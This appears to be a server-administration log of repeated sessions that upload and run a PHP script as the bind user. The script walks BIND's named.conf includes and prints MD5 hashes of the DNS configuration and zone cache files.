MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 23:22:12: Establishing a connection
2026-04-23 23:22:12: 

PUT: /tmp/pkp885711

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 23:22:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp885711; rm /tmp/pkp885711'

2026-04-23 23:22:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 23:22:22: Establishing a connection
2026-04-23 23:22:22: 

PUT: /tmp/pkp707053

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 23:22:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp707053; rm /tmp/pkp707053'

2026-04-23 23:22:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
